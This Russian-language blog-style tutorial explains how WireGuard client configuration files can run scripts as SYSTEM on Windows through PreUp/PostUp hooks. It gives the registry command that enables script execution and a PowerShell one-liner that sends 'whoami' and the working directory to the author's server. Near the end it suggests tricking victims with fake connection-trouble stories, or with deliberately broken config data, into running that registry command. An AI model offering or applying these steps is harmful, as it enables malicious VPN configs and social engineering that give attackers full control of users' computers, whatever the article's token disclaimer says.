ACE через WireGuard конфиг

И так, есть у нас такой VPN как WireGuard, у него есть клиентские конфиг файлы которые юзеры импортируют в свои клиенты и получают защищенные тоннели прямиком в Гиперборею.

Есть ещё такой тип уязвимостей как ACE (arbitrary code execution) или же произвольное выполнение кода, в нашем случае это скорее не уязвимость а возможность но суть примерно та же.

Есть в этом конфиге такие поля как: PreUp, PostUp, PreDown, PostDown, в них мы можем указать скрипты которые будут исполнены перед/после подключения так и перед/после отключения, это может использоваться для инициализации каких то важных вещей, разрешение внешних подключений фаерволом итд..

Пример дефолтного конфига:

[Interface]
PrivateKey = VerySecretData31337
Address = 10.8.0.3/24
DNS = 1.1.1.1

[Peer]
PublicKey = VerySecretData31337
PresharedKey = VerySecretData31337
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = 13.37.13.37:31337

К интерфейсу мы можем прописать поле PreUp и в нем что-то выполнить! Но тут нас может ждать разочарование в виде запрета клиента на исполнение скриптов .(

Тестить всё буду на Windows клиенте.

и вот что видим

Для того чтобы заставить клиент выполнять наши хотелки надо изменить политику клиента, для этого надо создать в реестре по пути HKEY_LOCAL_MACHINE\SOFTWARE папку WireGuard и создать DWORD переменную с именем DangerousScriptExecution и значением 1. Всё это можно сделать одной командой:

reg add HKLM\Software\WireGuard /v DangerousScriptExecution /t REG_DWORD /d 1 /f

Понятное дело что для правки реестра на ветке HKEY_LOCAL_MACHINE надо права админа.. но об этом чуть позже.

Теперь как видим скрипты разрешены:

Пропишем в PreUp выполнение PowerShell команды с задержкой чтобы детально проанализировать процесс:

powershell -Command "& {sleep 30}"

И активируем наш тоннель:

Активация у нас повиснет на 30 секунд ибо мы выполняем PreUp, я воспользовался System Informer (Экс Process Hacker) для просмотра процессов, как видим у нас появился родительский процесс cmd.exe который выполнил нашу команду (скрипт) и запустил powershell.exe. Самое главное это пользователь под которым выполняется наш скрипт NT AUTHORITY\SYSTEM, думаю не нужно объяснять что это означает.

Давайте ещё выполним запрос на наш сервер чтобы ещё раз удостовериться что мы можем творить с хостом, выполним:

powershell -Command "& {$w=whoami;$p=(pwd).Path;IWR http://11.33.33.77:31337/WHOAMI/$w/PWD/$p}"

Тут мы просто делаем GET запрос на наш же VPN сервер по которому ведёт конфиг, и путями передаем значения whoami и (pwd).Path.

На сервере откроем порт 31337 на входящие подключения и запустим простенький web-сервер на Python:

sudo ufw allow 31337/tcp
sudo python3 -m http.server 31337

Вот что будет выполнятся у клиента:

А вот что мы видим на сервере:

Мы NT AUTHORITY\SYSTEM и находимся в C:/Windows/system32.

В целом всё довольно просто но в тоже время заставить юзера выполнить что-то в консольке тоже сложно, можно для заманки писать что могут быть траблы с подключением ибо бла бла.. wg что-то там обновили, можно даже как то сделать типа.. изначально в конфиге будет ложная инфа для подключения а скрипт её подтянет из сервера, собсна без скриптов наш Victim не получит доступа к стране чудес и задумается над тем чтобы послушаться совета, и это можно решить введя в консоль/Run бла бла:

reg add HKLM\Software\WireGuard /v DangerousScriptExecution /t REG_DWORD /d 1 /f

Автор статьи конечно же не поддерживает подобное использование данной информации, все ваши действия на вашей совести!

Вообще реализация Windows клиента WireGuard очень интересная, написан на Golang, как гуй так и драйвер для создания виртуального сетевого адаптера, рекомендую к изучению.

Возможности выполнения скриптов есть не только в WireGuard, например вот в OpenVPN вместо PreUp/PreDown используются up/down, думаю тему стоит изучать учитывая современные реалии.

Соцпомойки